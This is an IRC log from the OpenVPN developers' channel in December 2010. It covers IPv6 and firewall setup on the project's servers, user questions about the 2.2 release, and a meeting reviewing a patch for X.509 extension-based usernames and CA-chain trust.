http://forums.openvpn.net/smartfeed.php?feed_type=ATOM1.0&limit=1_DAY&sort_by=standard&feed_style=HTML& 12:25 <@patelx> community.openvpn.net. AAAA IN 2607:f0d0:1001:14::2 12:25 <@vpnHelper> Title: OpenVPN Support ForumServer Administration :: System time at bootup not correct, Key authentication fails :: Author ekiller200 (at forums.openvpn.net) 12:26 < ecrist> community.openvpn.net has address 208.43.3.116 12:26 < ecrist> community.openvpn.net has IPv6 address 2607:f0d0:1001:14::2 12:26 < ecrist> :) 12:26 <@patelx> eric, we should probably add one for forums as well 12:26 <@patelx> ::3 12:26 < ecrist> OK. let me add that 12:26 <@patelx> i can add the ethernet adapter for ya 12:26 < ecrist> no need 12:26 < ecrist> if I can just alias it on the existing one 12:27 <@patelx> okay perfect 12:27 <@patelx> that works as well 12:27 <@patelx> ::3 ? 12:27 <@patelx> I will add the pointer 12:28 < ecrist> ok, IP is on the system, but I'm not getting ping response from ::1 12:28 < ecrist> well, x::1 12:28 <@dazo> \o/ ... now I see it :) 12:29 <@patelx> eric, which adapter? 12:29 < ecrist> patelx: does that IP need to be on a vlan or another network segment 12:29 < ecrist> em0 12:29 <@patelx> whichever interface that is public 12:30 < ecrist> ok, that's the interface 12:30 < ecrist> for community, though, it was put on a separate interface 12:30 <@patelx> yeah em0 seems like the one that needs to be configured 12:31 <@patelx> yeah I added an adapter and rebooted community 12:31 < ecrist> em0 is configured 12:31 < ecrist> for ipv6 12:31 <@patelx> yeah i meant em0:1 12:32 <@patelx> if I add an adapter to the system 12:32 <@patelx> will fbsd recognize it? 12:32 < ecrist> em1 12:32 < ecrist> you mean? 12:32 <@patelx> em1 should be private network 12:33 <@patelx> as it is configured on the host to connect to the private switch 12:33 < ecrist> em1 has link, no IPs 12:33 <@patelx> oh 12:33 <@patelx> you are not using private interface? 12:33 <@patelx> for a 10.x ip? 12:33 < ecrist> nope 12:33 <@patelx> gotcha 12:33 < ecrist> didn't know about private network. 12:33 <@patelx> let me make em1 public 12:33 <@patelx> try doing ipv6 on em1 then 12:33 < ecrist> ok 12:34 <@patelx> done 12:35 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 12:36 < ecrist> looks to be a firewall issue 12:36 <@patelx> on my end? 12:36 < ecrist> root@forums:~-> ping6 2607:f0d0:1001:14::1 12:36 < ecrist> PING6(56=40+8+8 bytes) 2607:f0d0:1001:14::3 --> 2607:f0d0:1001:14::1 12:36 < ecrist> ping6: sendmsg: Operation not permitted 12:36 < ecrist> looks that way 12:36 <@patelx> odd 12:36 <@patelx> same config on both servers 12:36 <@patelx> as far as the firewall 12:37 <@patelx> they are both running on the same host node 12:37 < ecrist> ah, mattock must have configured firewall on forums directly 12:37 < ecrist> I disabled it, and ping works now 12:39 < ecrist> fixed the ruleset, still can ping 12:39 <@patelx> :) 12:40 < ecrist> I don't seem to be able to ping from outside, though. 12:40 < ecrist> still looking 12:44 < ecrist> ok, it's a firewall issue still. 12:44 < ecrist> I'll either need to write a real ruleset or disable this one 12:48 < ecrist> patelx: you guys have another firewall, right? 12:49 <@patelx> ecrist not in front of forums/community 12:49 <@patelx> no 12:49 < ecrist> ah 12:49 <@patelx> mattock: does have iptables on community 12:49 <@patelx> not sure what he has done on forums 12:49 < ecrist> there's a limited pf ruleset 12:50 < ecrist> currently blocks pings, but that's no big deal 12:50 < ecrist> connectivity should work now 12:52 < ecrist> that box should boot properly, too 12:53 * ecrist kills patels 82 day idle root console 12:53 < ecrist> root@forums:~-> w 12:53 < ecrist> 12:51PM up 81 days, 20:11, 2 users, load averages: 0.00, 0.00, 0.00 12:53 < ecrist> USER TTY FROM LOGIN@ IDLE WHAT 12:53 < ecrist> patel v0 - 17Sep10 82days _su (csh) 12:54 < ecrist> root@forums:~-> w 12:54 < ecrist> 12:52PM up 81 days, 20:13, 1 user, load averages: 0.00, 0.00, 0.00 12:54 < ecrist> USER TTY FROM LOGIN@ IDLE WHAT 12:54 < ecrist> ecrist pts/0 ms.choksondik.se 12:25PM - w 12:54 < ecrist> muahahaha 12:56 < ecrist> it works 13:00 <@patelx> ahah 13:00 <@patelx> nice host 13:01 < ecrist> ms.choksondik.secure-computing.net 13:01 < ecrist> :) 13:01 < krzee> haha 13:01 < ecrist> that's my home network router 13:02 < krzee> south park is his basement 13:02 <@patelx> haha 13:02 * krzee pets butters 13:02 < ecrist> heh 13:03 < ecrist> so far, I have ms.choksondik, mr.garrison, kenny, stan, cartman 13:03 <@dazo> ecrist: you're using he.net/tunnelbroker? 13:03 < ecrist> http://pastebin.ca/2014061 13:04 < ecrist> dazo: I was. I don't currently have it configured. been too lazy to configure my firewall (stan) since it's disk crashed. 13:04 * krzee kills 173.8.118.210 13:04 <@dazo> lol 13:05 < ecrist> when I had my miama box and subnet, I used simpsons characters 13:05 < ecrist> chief.wiggum.secure-computing.net, willy, bart, maggie, etc 13:05 < krzee> i use weed related names 13:05 <@dazo> my wife's laptop is called Hamlet ... because she struggled to decide ... to buy or not to buy 13:06 < ecrist> lol 13:06 < krzee> hemp, hash, xxx (my favorite strain), etc 13:06 < krzee> except joogot, that just went well with the domain (noskills.net) 13:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:37 -!- dazo is now known as dazo_afk 14:09 < Essobi> lol 14:33 -!- raimon [~romain@86.66.22.240] has quit [Disconnected by services] 14:33 -!- raimon [~romain@86.66.22.240] has joined #openvpn-devel 14:34 -!- raimon [~romain@86.66.22.240] has quit [Disconnected by services] 14:34 -!- raimon [~romain@86.66.22.240] has joined #openvpn-devel 14:35 -!- raimon [~romain@86.66.22.240] has quit [Disconnected by services] 14:35 -!- raomin_ [~romain@86.66.22.240] has joined #openvpn-devel 15:45 <@mattock> firewall + ipv6 issues, eh... got to fix them tomorrow or friday 15:45 <@mattock> I got dynamic iptables rules assembled from fragments distributed using puppet... pretty fancy stuff 15:46 <@mattock> except on forums, there's it's just a plain pf file 15:50 <@patelx> we have ipv6 now :P 15:51 <@patelx> that's fancy! 17:48 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:41 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds] 18:44 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 22:53 -!- edmund [~hello@108-0-178-69.static.gci.net] has joined #openvpn-devel 23:03 < edmund> Hello.. anyone here? 23:39 -!- edmund [~hello@108-0-178-69.static.gci.net] has quit [Quit: edmund] --- Day changed Thu Dec 09 2010 00:16 -!- edmund [~hello@108-0-178-69.static.gci.net] has joined #openvpn-devel 00:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 00:40 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 01:05 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:30 -!- andj_ [~dejong@ch.its.tudelft.nl] has joined #openvpn-devel 02:06 -!- dazo_afk is now known as dazo 02:13 -!- proton_ [~proton@108-0-178-69.static.gci.net] has joined #openvpn-devel 02:14 -!- edmund [~hello@108-0-178-69.static.gci.net] has left #openvpn-devel [] 02:14 -!- proton_ [~proton@108-0-178-69.static.gci.net] has left #openvpn-devel [] 02:16 -!- edmund [~hello@108-0-178-69.static.gci.net] has joined #openvpn-devel 02:19 -!- andj_ [~dejong@ch.its.tudelft.nl] has quit [Ping timeout: 264 seconds] 02:27 -!- edmund [~hello@108-0-178-69.static.gci.net] has quit [Quit: edmund] 02:58 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 03:16 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:52 < raomin_> Hi guys. I'm planning to deploy openvpn for a lot of windows users -mostly non admin-. The *-proxy options of the 2.2 would be very helpful. But can I consider last 2.2 stable enough for production ? 04:22 -!- common- [~common@p5DDA480F.dip0.t-ipconnect.de] has joined #openvpn-devel 04:23 <@mattock> raomin_: 2.2 should be very stable 04:23 < raomin_> mattock: is there a RC planned soon ? 04:24 <@mattock> yep, in 2 weeks or so 04:24 <@mattock> or 3 04:24 < raomin_> great 04:24 < raomin_> I'll wait a bit then... 04:24 <@mattock> well, I don't think there'll be many changes between beta5 and rc 04:24 <@mattock> if any 04:25 <@mattock> I guess I'm trying to say that "don't let the beta tag fool you" 04:25 < raomin_> Ok, I start packaging with the b5 then. 04:26 -!- common [~common@p5DDA4976.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:26 -!- common- is now known as common 04:26 <@mattock> let us know if you have any issues 04:26 <@mattock> e.g. bugs 04:26 < raomin_> btw, do you plan to add auto-update some day ? 04:28 <@mattock> there are no plans I'm aware of 04:28 < raomin_> I mean : I'm about to have a lot of client (and client config file) in the wild... How do you keep your clients up to date ? 04:28 <@mattock> for *NIX there's no need, but Windows is obviously different 04:28 <@mattock> I suggest asking about that on #openvpn channel... 04:29 <@mattock> they can probably help you better 04:29 < raomin_> sure, I'm in a windows centric pov since I strated this projet... 04:29 <@mattock> perhaps you could use some external software to keep all your apps on Windows updated? 04:30 <@mattock> not just openvpn, I mean 04:34 < raomin_> Yes, why not... But I think I'll stick with a info web page that shows up every time the client connects. In this page, I can check his version and advise an update when needed. 04:44 <@dazo> the only patch between -beta5 and the RC right now is the "Change variadic macros to C99 style" ... to make VS-2008 happy when compiling openvpnvserv.exe 04:46 < raomin_> Ok, no big deal then... 04:46 <@dazo> d12fk: is that "new version available" notification something you could implement in the openvpn GUI? That would probably be the right place to put that ... 04:47 <@dazo> raomin_: nope, 2.1 to 2.2 is really not a big change ... there are a few new features, and plenty of bugfixes ... that's basically it 04:48 <@d12fk> yes, i was planning for that feature vis the "echo" cmd 04:48 <@d12fk> but not too soon 04:49 < raomin_> dazo: the proxy auto/detection/failback etc... improvments in 2.2 are a good things for me... 04:49 <@dazo> the "big new thing" is that a vast majority of these bugfixes and new features are from the core community, in a much higher degree than earlier .... there's about 70 patches from the community alone 04:50 <@dazo> d12fk: fair enough ... okay, so you will depend on the openvpn server telling that a new version is available, and not check a status page on openvpn.net? 04:51 <@d12fk> no that would be silly 04:52 <@d12fk> admins should have the power to decide when to bug their user to update to the latest version 04:52 <@d12fk> ... thinking enterprisy here =) 04:53 <@dazo> d12fk: agreed :) 05:05 <@mattock> do we want to have a meeting today, btw? 05:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:39 < raomin_> do you know where could I find a prebuilt version of 2.2 ? 06:38 <@dazo> raomin_: for Windows? 06:49 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 06:58 < raomin_> dazo: yes, pre built windows... 06:59 <@dazo> raomin_: http://openvpn.net/index.php/open-source/downloads.html 06:59 <@vpnHelper> Title: Downloads (at openvpn.net) 06:59 <@dazo> raomin_: on the very top ;-) 07:01 < raomin_> dazo: must be blind today, can't find it. I see sources, and installer but no pre-built (just compiled files ready to package) 07:02 <@dazo> raomin_: ahhh ... I understood the installer ... I don't think we have that available currently 07:03 <@dazo> isn't it just to install it and grab the contents from the OpenVPN directory where it got installed? 07:04 < raomin_> Hmmm, I need the /tapinstall, /driver to have the .nsi to work. Won't find it after install. 07:05 <@dazo> mattock: ^^^ do you have some clues? 07:05 * dazo is not a Windows guy, so he is a bit lost on those details 07:07 < raomin_> ;) neither am I. I tried cross compiling on linux but couldn't get autoconf to work... 07:10 < common> dazo, any way to get the extv3 thing into 2.2? 07:10 <@dazo> common: did you send new patches for review? 07:10 < common> yep 07:10 * dazo don't recall now 07:11 < common> basically nobody cared 07:11 <@dazo> common: have somebody ack'ed it yet? 07:11 < common> no 07:11 <@dazo> that's what's kind of missing ... we'll put it up on the agenda for the meeting today 07:11 < common> it's rather easy compared to the polarssl patchset 07:12 <@dazo> :) 07:12 <@dazo> yeah, no doubt, but it still needs to get an ACK ;-) 07:12 < common> ack-tually thats nothing I could do 07:12 <@dazo> ;-) 07:13 < common> using the cn for auth was bad a idea in first place 07:14 < common> but ssl certs get little love 07:15 < common> I looked into pyopenssl, as a scripting language would be very cool for authentication 07:16 <@dazo> well, guess why I wrote a patch which gives the certificate fingerprint/digest via the environment variables for scripts and plugins? ;-) 07:16 < common> but ... pyopenssl can add extentions to a cert, but not extract them 07:16 <@dazo> hmm ... that's kind of .... one-way street then 07:16 < common> somebody contributed a patch which added the bits required 07:16 < common> rotted 12months 07:17 < common> does not apply 07:17 <@dazo> hmm 07:28 <@dazo> common: without having gone through the deep details of every aspect of your patch, it generally looks good ... you've covered the issues Matthias caught, which is good ... so we'll discuss it quickly on the meeting today and see who will ack it 07:31 <@dazo> mattock: ^^^ http://thread.gmane.org/gmane.network.openvpn.devel/4185/focus=4198 07:31 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:32 <@mattock> dazo: I'll setup the agenda page for today 07:32 <@dazo> mattock: cook, thx! 07:34 -!- s7r [~s7r@195.242.152.12] has joined #openvpn-devel 07:37 <@mattock> raomin: aren't the /tapinstall etc. contained in the NSI installer? 07:38 <@mattock> I mean, couldn't you extract the installer somehow and get the required files? 07:38 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2010-12-09 07:38 <@vpnHelper> Title: Topics-2010-12-09 – OpenVPN Community (at community.openvpn.net) 07:39 <@mattock> pretty empty, suggestions for topics, please :) 07:52 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 08:24 < ecrist> ping krzie 08:24 < ecrist> fyi, plus-addressing should now work right on my mail server. 08:29 < krzie> pong 09:19 -!- edmund [~hello@108-0-178-69.static.gci.net] has joined #openvpn-devel 09:45 -!- edmund [~hello@108-0-178-69.static.gci.net] has quit [Quit: edmund] 09:57 -!- edmund [~hello@108-0-178-69.static.gci.net] has joined #openvpn-devel 10:01 -!- s7r [~s7r@195.242.152.12] has left #openvpn-devel [] 10:05 -!- edmund [~hello@108-0-178-69.static.gci.net] has quit [Quit: edmund] 10:09 <@mattock> all community servers now have basic ipv6 firewalls installed 10:09 <@mattock> or in 30 mins or so, to be exact 10:11 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 10:15 < ecrist> mattock: did you make changes to pf.conf on forums, or were my changes sufficient? 10:15 <@mattock> I didn't touch forums firewall at all 10:16 <@mattock> just the linux-based servers 10:17 < ecrist> so, s/all/some/ 10:17 < ecrist> ;) 10:19 <@mattock> got split for a while, will be back in 70 mins 11:00 * dazo will be back for the meeting in about an hour 11:01 -!- dazo is now known as dazo_afk 11:04 -!- edmund [~hello@108-0-178-69.static.gci.net] has joined #openvpn-devel 11:23 -!- edmund [~hello@108-0-178-69.static.gci.net] has quit [Quit: edmund] 11:30 -!- raomin_ [~romain@86.66.22.240] has quit [Quit: leaving...] 11:58 -!- edmund [~hello@12.17.176.50] has joined #openvpn-devel 12:00 -!- dazo_afk is now known as dazo 12:03 <@mattock> meeting time? 12:03 <@dazo> \o/ 12:03 * dazo wonders where james went .... 12:03 <@mattock> left 7 hours ago 12:04 <@mattock> anyways... topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2010-12-09 12:04 <@vpnHelper> Title: Topics-2010-12-09 – OpenVPN Community (at community.openvpn.net) 12:04 <@mattock> "list" :) 12:04 <@dazo> then I just remember him online in the morning :) 12:04 <@mattock> common: are you present? 12:05 < common> yep 12:05 < common> community.openvpn.net is unreachable via v6 atm? 12:05 <@mattock> could be, my ip6tables config is still incomplete 12:05 <@dazo> mattock: I'd like james' opinion on that patch as well 12:06 <@mattock> if ipv6 access was working earlier, I can fix it in ~10 mins 12:06 <@mattock> I'll mail james and fix the community ipv6 issue while waiting 12:07 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:07 < common> 2607:f0d0:1000:1::76 is the last hop here 12:08 <@dazo> jamesyonan: we're having a short list today ... http://thread.gmane.org/gmane.network.openvpn.devel/4185/ ... the v2 patch from Dec 1 is the interesting one 12:08 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:09 <@mattock> jamesyonan: just sent you mail, please ignore it :) 12:09 <@dazo> mattock: we should quickly revisit the 2-3 last agendas, to be sure we haven't overlooked anything 12:09 <@mattock> ok, I'll check them 12:10 <@mattock> the last two topic pages: 12:10 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-12-02 12:10 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-11-25 12:10 <@vpnHelper> Title: Topics-2010-12-02 – OpenVPN Community (at community.openvpn.net) 12:10 <@vpnHelper> Title: Topics-2010-11-25 – OpenVPN Community (at community.openvpn.net) 12:13 * dazo sees he has forgotten to write an e-mail to the -devel list 12:14 <@dazo> jamesyonan: are you looking at the patch? or waiting for us to say something? 12:14 <@jamesyonan> yeah, I'm looking at it now 12:14 <@dazo> then I won't disturb mode :) 12:16 <@dazo> I just spotted one thing there when looking at it now .... the switch() in extract_x509_extension() does not have a default: target 12:16 <@mattock> common: ip6tables is now letting in ipv6 traffic to ports 80 and 443 12:16 <@mattock> on community.openvpn.net 12:17 <@dazo> wouldn't it be better to replace those empty GEN_*'s which has a return false with a default:? 12:17 <@dazo> another thing, the extensions is only freed on success, not on failures 12:18 <@dazo> (due to the switch() ) 12:19 <@dazo> common: may I suggest that you have a bool retval = false; and that you in the case GEN_EMAIL: target sets retval = true; and uses return retval at the end ... then remove all the other returns and rather replace them with a break; statement instead .... does that make sense to you? 12:20 <@dazo> (obviously, you need some more changes in the GEN_EMAIL: section, though) 12:21 <@mattock> ... 12:21 < common> for default: I felt it was more clear if I left the other values in, so in case somebody wants an ip address, there are less changes 12:22 <@dazo> yeah, but then again, what if you get an unknown value? you're missing a catch-all scenario for error handling 12:22 < common> but, you are right, for certificates where the field is not email, this would leak mem currently 12:23 < common> if you have a second, let me improve what we got 12:23 <@dazo> I got one more thing 12:23 <@jamesyonan> we don't want want to leak mem, even in the case of exceptions 12:23 <@dazo> + if (strncmp("ext:",x509_username_field,4) == 0) 12:23 <@dazo> + { 12:23 <@dazo> + if (!extract_x509_extension (ctx->current_cert, x509_username_field+4, common_name, sizeof(common_name))) 12:24 <@dazo> that last if ... do not have any error handling at all 12:24 <@dazo> so if extract_x509_extension() returns false ... there is no warning that the expected field was not found 12:25 <@dazo> gah! 12:25 <@dazo> I read it boolean inverse! 12:25 <@dazo> anyhow, if ctx->error_depth is not set ... you still don't provide a generic warning 12:26 <@dazo> and in my opinion, that's also an error, so that part should also do a 'goto err;' call 12:26 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 12:27 <@mattock> jamesyonan: any comments from you regarding the patch? 12:28 <@mattock> dazo: did we discuss the Magic socket limitation earlier? 12:28 <@mattock> "socket size limitation" I mean 12:28 <@dazo> mattock: we did ... and that's no problem, it is tunable via --sndbuf and --rcvbuf 12:28 <@mattock> ok 12:29 * dazo discovered that when checking the code more thoroughly 12:29 < common> http://p.carnivore.it/tRJKNB 12:29 <@vpnHelper> Title: tRJKNB on :set paste private nopaste service (at p.carnivore.it) 12:30 <@dazo> common: line 38-40 needs to go into an else block 12:30 <@jamesyonan> I think it's okay in principle, it just needs to be cleaned up a bit. 12:30 <@dazo> jamesyonan: you see this as a useful feature too? 12:31 < common> dazo: right 12:31 <@dazo> common: I know you like those empty cases ... but I'd say remove them ... rather put a comment section there, stating alternative and not-implemented variables 12:31 < common> done 12:32 < common> http://p.carnivore.it/5Itbmf 12:32 <@vpnHelper> Title: 5Itbmf on :set paste private nopaste service (at p.carnivore.it) 12:32 <@jamesyonan> what about #ifdefing out by default? 12:32 <@jamesyonan> since this is probably something that only a small fraction of people would need 12:33 <@dazo> #ifdef, I agree to ... if it should be default in or out, that I'm more uncertain about 12:33 < common> actually I consider authentication using not the common name field of a cert a really sensible feature 12:34 < common> common name is not meant to be uniq in any way 12:34 <@dazo> common: just some background on reasons for #ifdef .... that's basically to protect those running openvpn on embedded stuff, to save them from extra code which they most likely won't use 12:34 <@dazo> which adds extra bytes in the binary code 12:34 < common> so if you rely on real certificates, not self-signed, you need it 12:35 <@mattock> for embedded systems it does not matter whether it's enabled or disabled by _default_... they can always build their own version 12:35 <@dazo> common: please define 'real certificates' and 'self-signed' ... that can be understood in different ways 12:36 <@dazo> mattock: +1 12:36 <@jamesyonan> it would be nice, in the future, to create an abstraction layer for code that does various tests/examinations of the X509 cert. 12:36 < common> jamesyonan: agreed 12:37 <@jamesyonan> perhaps it could be added to the plugin model 12:37 < common> dazo: if you buy your certificates from a ca, or you have/run a ca for a company 12:37 <@dazo> jamesyonan: we should revisit that topic ... we've received a bigger patchset now which modularises the SSL implementation .... and we can now support PolarSSL in addition to OpenSSL 12:37 * ecrist is here 12:38 <@mattock> hi ecrist! 12:38 < ecrist> apologies for my tardiness 12:39 <@dazo> common: that's what I thought ... well, that's first of all not recommended in the docs, iirc .... as that can really be a security issue, if someone orders a certificate from the same CA and then tries to connect to your box .... that certificate will still be valid for OpenVPN, and then you really do need a better match in plug-ins anyway ... I'm afraid that's a big can of nasty worms 12:40 <@mattock> dazo: good point 12:41 < common> dazo: I'm aware of the problems, and thats why I need something I can rely on 12:41 <@dazo> and then, there's already the tls_digest_%i environment variable available, which contains the SHA1 fingerprint/digest in the OpenVPN 2.2 base, which can be used for a certificate match 12:41 < common> which is the email address, as we can assure you won't get a certificate for an email address you do not own 12:41 < common> this requires a storage of all certificate fingerprints 12:42 <@dazo> I'm also working on a v3 plug-in API which will give access for C plug-ins to the complete X509 certificate 12:42 < common> which I do not have, and can't get 12:43 <@dazo> by trusting that e-mail address in that field, you need to trust that the _external_ CA has done it's job properly as well 12:44 < common> we got a certificate chain, but you may be right 12:45 <@dazo> (meaning: you need to make sure the CA cannot modify the e-mail address ... and/or that they validate that the address is a proper address ... and that nobody else can order certificates without notifying the user using that e-mail address) 12:45 <@dazo> - and preferably also require some kind of confirmation on that e-mail address 12:46 <@dazo> I agree to your argument that certificate fingerprints database can be daunting to setup ... that's a valid point 12:46 <@mattock> sounds like a can of worms 12:46 <@dazo> that was what I just realised now as well 12:47 < common> http://p.carnivore.it/8W96W2 12:47 <@vpnHelper> Title: 8W96W2 on :set paste private nopaste service (at p.carnivore.it) 12:50 <@dazo> common: that patch looks fine, code wise ... the only discussion point now is if this feature is safe, from a usage perspective in a real-life scenario 12:51 <@mattock> use it at your own risk? ifdef out by default? 12:51 <@mattock> similarly to --enable-password-save 12:51 < common> in our case 12:52 < common> we got our own ca, which is a sub ca of a authoriative ca 12:52 < common> if you know effs ssl observatorium paper, you know the ca ;) 12:52 <@dazo> yeah ... but I think I would even insist on a startup warning if -x509-username-field is used that you should not use external CA certificates 12:53 <@dazo> or, that's un-precise 12:54 <@dazo> but you get my idea, I think ... that we should make a little noise in the log file that you have a potentially more risky configuration, if not configured correctly 12:54 <@mattock> dazo: +1 12:54 <@mattock> ifdef out + big warnings? 12:54 <@dazo> mattock: yupp 12:55 < common> hargh, so I still have to compile my own 12:56 <@dazo> common: just to make sure I've caught it correctly .... if I have sub-CA certificate signed by VeriSign (f.ex.) .... and I have sub-CA + VeriSign CA certs in --ca .... if a user signed by sub-CA, I expect it will be authenticated fine .... but what if a certificate signed by VeriSign stops by .... will that authenticate properly? 12:56 < common> I do not know 12:56 <@mattock> doesn't valid auth need both Verisign and the sub-CA signing? 12:58 < ecrist> no, verisign can't sign certificates that are valid under a sub-CA 12:58 <@dazo> if it requires the user certificate to be signed by the sub-CA only, then this is fine .... but if it's enough with only the top-CA, then this is nasty 12:58 < ecrist> you never give them your keys when you submit your CSR 12:58 <@dazo> ecrist: that's right ... but I'm seeing it from a little bit different angle 12:59 < common> ecrist: question is, if there is a cert signed by verisign, would it be valid too 12:59 < common> given you have them as top of your chain anyway 12:59 < ecrist> by definition, no, because it's not in the same chain 12:59 < common> somebody to try this? 12:59 < ecrist> programmatically, I can't say, but as SSL is supposed to work, no 12:59 <@mattock> jamesyonan: do you know how this works? 13:00 <@dazo> both certificates are valid, one is signed by VeriSign, the other one is signed by sub-CA .... and if OpenVPN accepts the user cert signed by VeriSign or not ... as that do have a valid signature from VeriSign, just as the sub-CA do 13:00 <@jamesyonan> It's worth a test to verify, but my experience with OpenSSL is that when you load it with a list of CAs, it will validate if any of the CAs match. 13:00 <@dazo> ecrist: so you say that when the --ca in OpenVPN is a certificate chain, the user certificate must be of the same certificate chain to be valid? 13:00 < ecrist> yes 13:01 < Essobi> Yup. 13:01 <@mattock> what if we test this as jamesyonan suggested? 13:01 <@mattock> start by asking about this on -users and/or -devel 13:01 <@dazo> jamesyonan: can you clarify "it will validate if any of the CA's match"? is that exclusively all CA's or or just one or more CA's in the chain? 13:02 <@dazo> ('any' is the word confusing me) 13:02 < ecrist> jamesyonan: perhaps I missed something, but if you're listing the root CA for Verisign as an openvpn CA, then yes, any certificate signed by them would work 13:02 < ecrist> if you only list the secondary CA certificate, only certificates signed by that CA will work, not all that are signed by the parent CA 13:03 <@dazo> what ecrist says, makes sense to me, and is closer to my understanding of it ... but I've never tried it 13:04 * ecrist has tried, but not within openvpn 13:04 < Essobi> It may be configurable to accept sub-ca or not. Might check the openssl.cnf docs. I vaguely remember seeing some verbage somewhere for that. 13:05 <@mattock> if I'm not mistaken, this is about the same thing: http://openvpn.net/archive/openvpn-users/2005-10/msg00278.html 13:05 <@vpnHelper> Title: [Openvpn-users] CA and Sub CA (at openvpn.net) 13:06 < common> nah 13:07 <@dazo> it's related, as it is about this implicit trust issue 13:07 <@jamesyonan> most of OpenSSL's CA verification is done using X509_STORE objects, which are essentially lists of CAs. And these objects will verify any cert for which a chain can be constructed that ends in a non-intermediate root cert in the CA. 13:07 <@mattock> ok, what should we do? 13:08 <@dazo> mattock: I'm tempted to send this question to JJK :) 13:08 <@mattock> I think we should ask about this on -users and -devel 13:08 <@mattock> worst case, #ifdef out by default and print big warnings 13:09 <@mattock> is that ok for all? 13:09 <@mattock> dazo: and if we send a mail to any mailinglist, JJK will read it :) 13:11 <@dazo> mattock: yes, mailing list (-users, probably) for the CA certificate chain authentication, for sure 13:12 <@dazo> mattock: re: this patch .... the code is fine, but I'm very sceptical to this feature when I begin to understand the depth of it ... I'm really not completely convinced we should add this feature like this 13:12 <@jamesyonan> dazo: "any of the CAs match" means one or more CAs match 13:12 <@dazo> jamesyonan: thx! 13:12 < common> actually I think I could test this 13:13 < common> while we have our sub-ca, people we work with have their own sub-ca from the same ca 13:13 <@dazo> mattock: another reason is ... that this feature can be implemented via the new v3 plug-in API as a separate plug-in, as that will provide full access to the X509 certificate object (in C, that is) 13:13 <@jamesyonan> it seems that the bigger issue is the risk of using third-party CAs 13:14 <@dazo> yes, when using a third-party .... you really need to know what you're doing in this case 13:14 <@mattock> ok 13:14 <@jamesyonan> because in this case, you really need to examine the entire cert chain -- it may not be enough to use OpenSSL's default validation 13:15 <@mattock> shall we move the discussion to mailing lists? 13:16 < Essobi> iirc, you can require more things to match between the CA and the client for proper auth, in openssl.cnf, that could increase the validity that a specific CA is found and not a rougue sub-ca... 13:16 <@dazo> I personally think this feature belongs more at home in a separate plug-in ... where the complete chain can be validated better as well 13:16 <@mattock> dazo: and the plugin approach will be possible with plugin API v3? 13:17 <@dazo> mattock: yes 13:17 <@mattock> how far are we from v3? 13:17 < common> got a git tree? 13:18 <@dazo> common: it's not published yet ... it's still in the work ... but I'll try to get some patches out for a review this weekend, is that fine? 13:18 < common> sure 13:18 <@jamesyonan> Essobi: were you able to write up your findings on FIPS? 13:18 <@mattock> so much for the "mini-meeting" I was thinking of :D 13:19 <@dazo> mattock: the complete skeleton is practically done ... it's just to add the X509 certificate object left 13:19 <@mattock> sounds good 13:20 <@mattock> regarding other topics... any old topics we need to revisit or didn't manage to discuss earlier? 13:20 <@mattock> oh, osx keychain support 13:20 <@mattock> ecrist: any progress? 13:21 <@dazo> mattock: I didn't see anyone, it was just a feeling I had ... and I saw that I should send an e-mail to the mailing list re: --tls-float ... that was what was bothering me :) 13:21 <@mattock> dazo: I think you promised to send mail about that, yes :) 13:21 < edmund> Hey All, I'm guessing this has been discussed before, but I was just wondering.... What is the best available OpenVPN interface for iOS4 (iPhone) since Apple probably wont open up the SSL API guts to anyone besides Juniper and Cisco? Thanks 13:22 <@mattock> edmund: you should probably ask at #openvpn channel instead 13:22 <@dazo> edmund: checkout !iphone on #openvpn 13:22 < krzie> mattock, if ecrist hasnt tested that, you can gimme an account on the openvpn vpn server (since it auths via ldap) and i can test it now 13:22 <@mattock> krzie: you mean you want to be able to access the VPN? 13:22 <@dazo> I think there were some issues with getting that compiled properly ... it was some mismatch with some #ifdef defines and autotools, iirc ... but I have no OSX box where to test this out 13:22 < edmund> Ok thanks. over to #openvpn. 13:23 < krzie> not especially, but it requires password auth and im on OSX 13:23 <@mattock> oh yes, the compile issues... 13:23 <@mattock> those need to be figured out first 13:23 < krzie> ohhh, if it doesnt compile then nevermind 13:23 < krzie> i thought it was just waiting for testers 13:24 < krzie> dazo, i wouldnt be against giving you a temp shell on a osx box later if you wanted to dig it out 13:24 < krzie> i cant on this one, but one at home i can 13:25 < Essobi> jamesyonan: Boss signed off on it. ;) All I got to do is write the beta3/stable patches, and write up the how-to on building it. ;) 13:25 <@dazo> krzie: that could really help out, if it's possible to do all from ssh 13:25 < Essobi> jamesyonan: Actually... I need somewhere to host a few pages now too. Hmm. 13:26 <@mattock> unless there's anything else, I'd say the official part is over... :) 13:27 < ecrist> mattock: 